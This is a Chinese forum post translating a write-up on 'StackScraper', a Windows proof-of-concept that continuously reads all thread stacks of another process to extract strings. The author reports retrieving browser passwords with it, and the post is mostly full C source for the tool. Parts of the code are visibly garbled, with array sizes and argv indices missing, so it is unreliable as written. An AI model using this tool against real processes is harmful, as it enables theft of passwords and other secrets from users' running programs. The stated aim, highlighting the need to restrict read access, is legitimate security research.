StackScraper - 利用对远程进程的实时堆栈扫描来捕获敏感数据
本帖最后由 梦幻的彼岸 于 2022-2-10 10:34 编辑翻译
原文地址：https://www.x86matthew.com/view_post?id=stack_scraper
功能：利用对远程进程的实时堆栈扫描来捕获敏感数据
static/image/hrline/1.gif
读取内存的潜在危险常常被安全开发人员所忽视，大部分精力都放在了防止写入不需要的数据上。
我创建这个工具是为了显示在不需要任何注入技术的情况下，可以从一个正在运行的进程中提取多少数据。
这个程序持续扫描目标进程中每个线程的整个堆栈，并提取它发现的任何字符串。它既处理指向字符串的指针，也处理分配在堆栈本身的字符串（局部变量）。
这不是一个精确的工具--它使用了一种非常拙劣的方法，但它确实能返回良好的结果。我已经用这个工具成功地从网络浏览器中检索了密码。这个工具的主要目的是为了强调限制对远程进程的读访问的重要性。
我的概念验证工具的工作原理如下：
1. 使用OpenProcess为目标进程创建一个句柄。
2. 使用NtQuerySystemInformation与SystemProcessInformation来检索目标进程中的线程列表。
3. 调用NtOpenThread来打开目标进程中的第一个线程。
4. 用ThreadBasicInformation调用NtQueryInformationThread，以返回远程线程的TEB地址（TebBaseAddress）。
5. 使用ReadProcessMemory从远程进程中读取该线程的整个TEB结构（NT_TIB）。
6. 计算全栈大小（TEB.StackBase - TEB.StackLimit），并使用ReadProcessMemory读取整个栈的内容。
7. 使用ReadProcessMemory读取堆栈上任何指针的数据值，并检查是否有字符串。
8. 通过堆栈数据查看本地字符串变量内容。
9. 对目标进程中的下一个线程返回到步骤#3。对所有剩余的线程重复上述步骤。
10. 回到步骤#2，重新开始。
以下是完整的代码：
#include <stdio.h>
#include <windows.h>
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define SystemProcessInformation 5
#define ThreadBasicInformation 0
// max stack size - 1mb
#define MAX_STACK_SIZE ((1024 * 1024) / sizeof(DWORD))
// max stack string value size - 1kb
#define MAX_STACK_VALUE_SIZE 1024
#define TEMP_LOG_FILENAME "temp_log.txt"
struct CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
};
struct THREAD_BASIC_INFORMATION
{
DWORD ExitStatus;
PVOID TebBaseAddress;
CLIENT_ID ClientId;
PVOID AffinityMask;
DWORD Priority;
DWORD BasePriority;
};
struct UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING *ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
struct SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1;
UNICODE_STRING ImageName;
DWORD BasePriority;
HANDLE UniqueProcessId;
PVOID Reserved2;
ULONG HandleCount;
ULONG SessionId;
PVOID Reserved3;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG Reserved4;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
PVOID Reserved5;
SIZE_T QuotaPagedPoolUsage;
PVOID Reserved6;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved7;
};
struct SYSTEM_THREAD_INFORMATION
{
LARGE_INTEGER Reserved1;
ULONG Reserved2;
PVOID StartAddress;
CLIENT_ID ClientId;
DWORD Priority;
LONG BasePriority;
ULONG Reserved3;
ULONG ThreadState;
ULONG WaitReason;
};
DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtQueryInformationThread)(HANDLE ThreadHandle, DWORD ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtOpenThread)(HANDLE *ThreadHandle, DWORD DesiredAccess, OBJECT_ATTRIBUTES *ObjectAttributes, CLIENT_ID *ClientId);
DWORD dwGlobal_Stack;
HANDLE hGlobal_LogFile = NULL;
SYSTEM_PROCESS_INFORMATION *pGlobal_SystemProcessInfo = NULL;
DWORD GetSystemProcessInformation()
{
DWORD dwAllocSize = 0;
DWORD dwStatus = 0;
DWORD dwLength = 0;
BYTE *pSystemProcessInfoBuffer = NULL;
// free previous handle info list (if one exists)
if(pGlobal_SystemProcessInfo != NULL)
{
free(pGlobal_SystemProcessInfo);
}
// get system handle list
dwAllocSize = 0;
for(;;)
{
if(pSystemProcessInfoBuffer != NULL)
{
// free previous inadequately sized buffer
free(pSystemProcessInfoBuffer);
pSystemProcessInfoBuffer = NULL;
}
if(dwAllocSize != 0)
{
// allocate new buffer
pSystemProcessInfoBuffer = (BYTE*)malloc(dwAllocSize);
if(pSystemProcessInfoBuffer == NULL)
{
return 1;
}
}
// get system handle list
dwStatus = NtQuerySystemInformation(SystemProcessInformation, (void*)pSystemProcessInfoBuffer, dwAllocSize, &dwLength);
if(dwStatus == 0)
{
// success
break;
}
else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
{
// not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional data between checks)
dwAllocSize = (dwLength + 1024);
}
else
{
// other error
free(pSystemProcessInfoBuffer);
return 1;
}
}
// store handle info ptr
pGlobal_SystemProcessInfo = (SYSTEM_PROCESS_INFORMATION*)pSystemProcessInfoBuffer;
return 0;
}
DWORD CheckValidStringCharacter(BYTE bChar)
{
// check if this is a valid string character
if(bChar > 0x7F)
{
// invalid character
return 1;
}
else if(bChar < 0x20 && bChar != '\r' && bChar != '\n')
{
// invalid character
return 1;
}
return 0;
}
DWORD CheckValidString(char *pString)
{
DWORD dwLength = 0;
BYTE *pCurrCharacter = NULL;
// calculate string length
dwLength = strlen(pString);
// string must be at least 5 characters
if(dwLength < 5)
{
return 1;
}
// if string is less than 8 characters, ensure it doesn't contain any non-alphanumeric characters
// (this removes a lot of "noise")
if(dwLength < 8)
{
for(DWORD i = 0; i < dwLength; i++)
{
pCurrCharacter = (BYTE*)(pString + i);
if(*pCurrCharacter >= 'a' && *pCurrCharacter <= 'z')
{
continue;
}
else if(*pCurrCharacter >= 'A' && *pCurrCharacter <= 'Z')
{
continue;
}
else if(*pCurrCharacter >= '0' && *pCurrCharacter <= '9')
{
continue;
}
// non-alphanumeric character found
return 1;
}
}
return 0;
}
DWORD CheckAnsiString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
{
DWORD dwNullFound = 0;
DWORD dwStringLength = 0;
// check if this is a valid ansi string
for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
{
// check string value
if(*(BYTE*)(pValue + i) == 0x00)
{
// null terminator
dwNullFound = 1;
break;
}
else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
{
// invalid string
return 1;
}
else
{
// valid character
dwStringLength++;
}
}
if(dwNullFound == 0)
{
// invalid string (no null terminator found)
return 1;
}
if(dwStringLength == 0)
{
// invalid string (blank)
return 1;
}
// valid ansi string
_snprintf(pString, dwStringMaxLength, "%s", pValue);
return 0;
}
DWORD CheckWideCharString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
{
DWORD dwNullFound = 0;
DWORD dwStringLength = 0;
// check if this is a valid widechar string
for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
{
if(i % 2 == 1)
{
if(*(BYTE*)(pValue + i) != 0x00)
{
// invalid string
return 1;
}
continue;
}
// check string value
if(*(BYTE*)(pValue + i) == 0x00)
{
// null terminator
dwNullFound = 1;
break;
}
else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
{
// invalid string
return 1;
}
else
{
// valid character
dwStringLength++;
}
}
if(dwNullFound == 0)
{
// invalid string (no null terminator found)
return 1;
}
if(dwStringLength == 0)
{
// invalid string (blank)
return 1;
}
// valid widechar string
_snprintf(pString, dwStringMaxLength, "%S", pValue);
return 0;
}
DWORD CheckLogForDuplicates(char *pString, DWORD *pdwExists)
{
FILE *pFile = NULL;
DWORD dwExists = 0;
char szLine;
char *pEndOfLine = NULL;
// open temp log file
pFile = fopen(TEMP_LOG_FILENAME, "r");
if(pFile == NULL)
{
return 1;
}
// check if this entry already exists in the file
for(;;)
{
// get line
memset(szLine, 0, sizeof(szLine));
if(fgets(szLine, sizeof(szLine) - 1, pFile) == 0)
{
break;
}
// remove carraige-return
pEndOfLine = strstr(szLine, "\r");
if(pEndOfLine != NULL)
{
*pEndOfLine = '\0';
}
// remove new-line
pEndOfLine = strstr(szLine, "\n");
if(pEndOfLine != NULL)
{
*pEndOfLine = '\0';
}
// check if the current line contains the specified string
if(strstr(szLine, pString) != NULL)
{
// found
dwExists = 1;
break;
}
}
// close file handle
fclose(pFile);
// store dwExists
*pdwExists = dwExists;
return 0;
}
DWORD ProcessStackValue(BYTE *pValue, char *pStringFilter, DWORD *pdwStringDataLength)
{
BYTE bStackValueCopy;
char szString;
DWORD dwBytesWritten = 0;
DWORD dwExists = 0;
char *pCurrSearchPtr = NULL;
DWORD dwMatchesFilter = 0;
DWORD dwWideCharString = 0;
DWORD dwOutputStringLength = 0;
// reset length value
*pdwStringDataLength = 0;
// create a copy of the stack value to ensure it is null terminated
memset(bStackValueCopy, 0, sizeof(bStackValueCopy));
memcpy(bStackValueCopy, pValue, MAX_STACK_VALUE_SIZE);
// check if this value is an ANSI string
memset(szString, 0, sizeof(szString));
if(CheckAnsiString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
{
// check if this value is a widechar string
if(CheckWideCharString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
{
// not a string - ignore
return 1;
}
// widechar string
dwWideCharString = 1;
}
// perform further validation on the string
if(CheckValidString(szString) != 0)
{
return 1;
}
// replace '\r' and '\n' characters with dots
// (we don't want to terminate the string here because it may contain useful information on the following line)
for(DWORD i = 0; i < strlen(szString); i++)
{
if(szString == '\r')
{
szString = '.';
}
else if(szString == '\n')
{
szString = '.';
}
}
if(pStringFilter != NULL)
{
// check if this string matches the specified filter
pCurrSearchPtr = szString;
for(;;)
{
if(*pCurrSearchPtr == '\0')
{
// end of string
break;
}
// check if the substring exists here
if(strnicmp(pCurrSearchPtr, pStringFilter, strlen(pStringFilter)) == 0)
{
// found matching substring
dwMatchesFilter = 1;
break;
}
// move to the next character
pCurrSearchPtr++;
}
}
else
{
// no filter specified - always match
dwMatchesFilter = 1;
}
if(dwMatchesFilter != 0)
{
// check if this string has already been found
if(CheckLogForDuplicates(szString, &dwExists) != 0)
{
return 1;
}
if(dwExists == 0)
{
// calculate string length
dwOutputStringLength = strlen(szString);
// new string found - write to log
if(WriteFile(hGlobal_LogFile, szString, dwOutputStringLength, &dwBytesWritten, NULL) == 0)
{
return 1;
}
// write crlf
if(WriteFile(hGlobal_LogFile, "\r\n", strlen("\r\n"), &dwBytesWritten, NULL) == 0)
{
return 1;
}
// store string data length
if(dwWideCharString == 0)
{
// ansi string
*pdwStringDataLength = dwOutputStringLength;
}
else
{
// widechar string
*pdwStringDataLength = dwOutputStringLength * 2;
}
// print to console
printf("Found string: %s\n", szString);
}
}
return 0;
}
DWORD GetStackStrings_Pointers(HANDLE hProcess, DWORD dwStackSize, char *pStringFilter)
{
DWORD *pdwCurrStackPtr = NULL;
DWORD dwCurrStackValue = 0;
BYTE bStackValue;
DWORD dwStringDataLength = 0;
// get all values from stack
pdwCurrStackPtr = dwGlobal_Stack;
for(DWORD i = 0; i < (dwStackSize / sizeof(DWORD)); i++)
{
// get current stack value
dwCurrStackValue = *pdwCurrStackPtr;
// check if this value is potentially a data ptr
if(dwCurrStackValue >= 0x10000)
{
// attempt to read data from this ptr
memset(bStackValue, 0, sizeof(bStackValue));
if(ReadProcessMemory(hProcess, (void*)dwCurrStackValue, bStackValue, sizeof(bStackValue), NULL) != 0)
{
// process current stack value
dwStringDataLength = 0;
ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);
}
}
// move to next stack value
pdwCurrStackPtr++;
}
return 0;
}
DWORD GetStackStrings_LocalVariables(DWORD dwStackSize, char *pStringFilter)
{
DWORD dwCopyLength = 0;
BYTE *pCurrStackPtr = NULL;
DWORD dwStringDataLength = 0;
BYTE bStackValue;
// find strings allocated on stack
pCurrStackPtr = (BYTE*)dwGlobal_Stack;
for(DWORD i = 0; i < dwStackSize; i++)
{
// ignore if the current value is null
if(*pCurrStackPtr == 0x00)
{
pCurrStackPtr++;
continue;
}
// calculate number of bytes to copy
dwCopyLength = sizeof(dwGlobal_Stack) - i;
if(dwCopyLength > sizeof(bStackValue))
{
dwCopyLength = sizeof(bStackValue);
}
// copy current data block
memset(bStackValue, 0, sizeof(bStackValue));
memcpy(bStackValue, pCurrStackPtr, dwCopyLength);
// process current stack value
dwStringDataLength = 0;
ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);
if(dwStringDataLength != 0)
{
// move ptr to the end of the last string
pCurrStackPtr += dwStringDataLength;
}
else
{
// move ptr to the next byte
pCurrStackPtr++;
}
}
return 0;
}
DWORD GetStackStrings(HANDLE hProcess, HANDLE hThread, DWORD dwThreadID, char *pStringFilter)
{
THREAD_BASIC_INFORMATION ThreadBasicInformationData;
NT_TIB ThreadTEB;
DWORD dwStackSize = 0;
// get thread basic information
memset((void*)&ThreadBasicInformationData, 0, sizeof(ThreadBasicInformationData));
if(NtQueryInformationThread(hThread, ThreadBasicInformation, &ThreadBasicInformationData, sizeof(THREAD_BASIC_INFORMATION), NULL) != 0)
{
return 1;
}
// read thread TEB
memset((void*)&ThreadTEB, 0, sizeof(ThreadTEB));
if(ReadProcessMemory(hProcess, ThreadBasicInformationData.TebBaseAddress, &ThreadTEB, sizeof(ThreadTEB), NULL) == 0)
{
return 1;
}
// calculate thread stack size
dwStackSize = (DWORD)ThreadTEB.StackBase - (DWORD)ThreadTEB.StackLimit;
if(dwStackSize > sizeof(dwGlobal_Stack))
{
return 1;
}
// read full thread stack
if(ReadProcessMemory(hProcess, ThreadTEB.StackLimit, dwGlobal_Stack, dwStackSize, NULL) == 0)
{
return 1;
}
// read ptrs
if(GetStackStrings_Pointers(hProcess, dwStackSize, pStringFilter) != 0)
{
return 1;
}
// read local variables
if(GetStackStrings_LocalVariables(dwStackSize, pStringFilter) != 0)
{
return 1;
}
return 0;
}
DWORD ReadProcessStackData(HANDLE hProcess, DWORD dwPID, char *pStringFilter)
{
HANDLE hThread = NULL;
SYSTEM_PROCESS_INFORMATION *pCurrProcessInfo = NULL;
SYSTEM_PROCESS_INFORMATION *pNextProcessInfo = NULL;
SYSTEM_PROCESS_INFORMATION *pTargetProcessInfo = NULL;
SYSTEM_THREAD_INFORMATION *pCurrThreadInfo = NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
DWORD dwStatus = 0;
// get snapshot of processes/threads
if(GetSystemProcessInformation() != 0)
{
return 1;
}
// find the target process in the list
pCurrProcessInfo = pGlobal_SystemProcessInfo;
for(;;)
{
// check if this is the target PID
if((DWORD)pCurrProcessInfo->UniqueProcessId == dwPID)
{
// found target process
pTargetProcessInfo = pCurrProcessInfo;
break;
}
// check if this is the end of the list
if(pCurrProcessInfo->NextEntryOffset == 0)
{
// end of list
break;
}
else
{
// get next process ptr
pNextProcessInfo = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pCurrProcessInfo + pCurrProcessInfo->NextEntryOffset);
}
// go to next process
pCurrProcessInfo = pNextProcessInfo;
}
// ensure the target process was found in the list
if(pTargetProcessInfo == NULL)
{
return 1;
}
// loop through all threads within the target process
pCurrThreadInfo = (SYSTEM_THREAD_INFORMATION*)((BYTE*)pTargetProcessInfo + sizeof(SYSTEM_PROCESS_INFORMATION));
for(DWORD i = 0; i < pTargetProcessInfo->NumberOfThreads; i++)
{
// open thread
memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = sizeof(ObjectAttributes);
dwStatus = NtOpenThread(&hThread, THREAD_QUERY_INFORMATION, &ObjectAttributes, &pCurrThreadInfo->ClientId);
if(dwStatus == 0)
{
// extract strings from the stack of this thread
GetStackStrings(hProcess, hThread, (DWORD)pCurrThreadInfo->ClientId.UniqueThread, pStringFilter);
// close handle
CloseHandle(hThread);
}
// move to the next thread
pCurrThreadInfo++;
}
return 0;
}
DWORD GetNtdllFunctions()
{
// get NtQueryInformationThread ptr
NtQueryInformationThread = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
if(NtQueryInformationThread == NULL)
{
return 1;
}
// get NtQuerySystemInformation function ptr
NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if(NtQuerySystemInformation == NULL)
{
return 1;
}
// get NtOpenThread function ptr
NtOpenThread = (unsigned long (__stdcall *)(void ** ,unsigned long,struct OBJECT_ATTRIBUTES *,struct CLIENT_ID *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenThread");
if(NtOpenThread == NULL)
{
return 1;
}
return 0;
}
int main(int argc, char *argv[])
{
HANDLE hProcess = NULL;
DWORD dwPID = 0;
char *pStringFilter = NULL;
printf("StackScraper - www.x86matthew.com\n\n");
if(argc != 2 && argc != 3)
{
printf("Usage: %s \n\n", argv);
return 1;
}
// get params
dwPID = atoi(argv);
if(argc == 3)
{
pStringFilter = argv;
}
// get ntdll function ptrs
if(GetNtdllFunctions() != 0)
{
return 1;
}
// open process
hProcess = OpenProcess(PROCESS_VM_READ, 0, dwPID);
if(hProcess == NULL)
{
printf("Failed to open process: %u\n", dwPID);
return 1;
}
printf("Opened process %u successfully\n", dwPID);
// create a temporary log file to ignore duplicate entries
hGlobal_LogFile = CreateFile(TEMP_LOG_FILENAME, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hGlobal_LogFile == INVALID_HANDLE_VALUE)
{
printf("Failed to create temporary log file: '%s'\n", TEMP_LOG_FILENAME);
// error
CloseHandle(hProcess);
return 1;
}
// check if a filter was specified
if(pStringFilter == NULL)
{
printf("Monitoring process stack...\n");
}
else
{
printf("Monitoring process stack for strings containing '%s'...\n", pStringFilter);
}
// monitor target process
for(;;)
{
// read stack data from remote process
if(ReadProcessStackData(hProcess, dwPID, pStringFilter) != 0)
{
break;
}
}
printf("Exiting...\n");
// close file handle
CloseHandle(hGlobal_LogFile);
// close process handle
CloseHandle(hProcess);
return 0;
} 谢谢楼主的分享 PYG有你更精彩！ 感谢楼主分享 感谢楼主分享
页:
[1]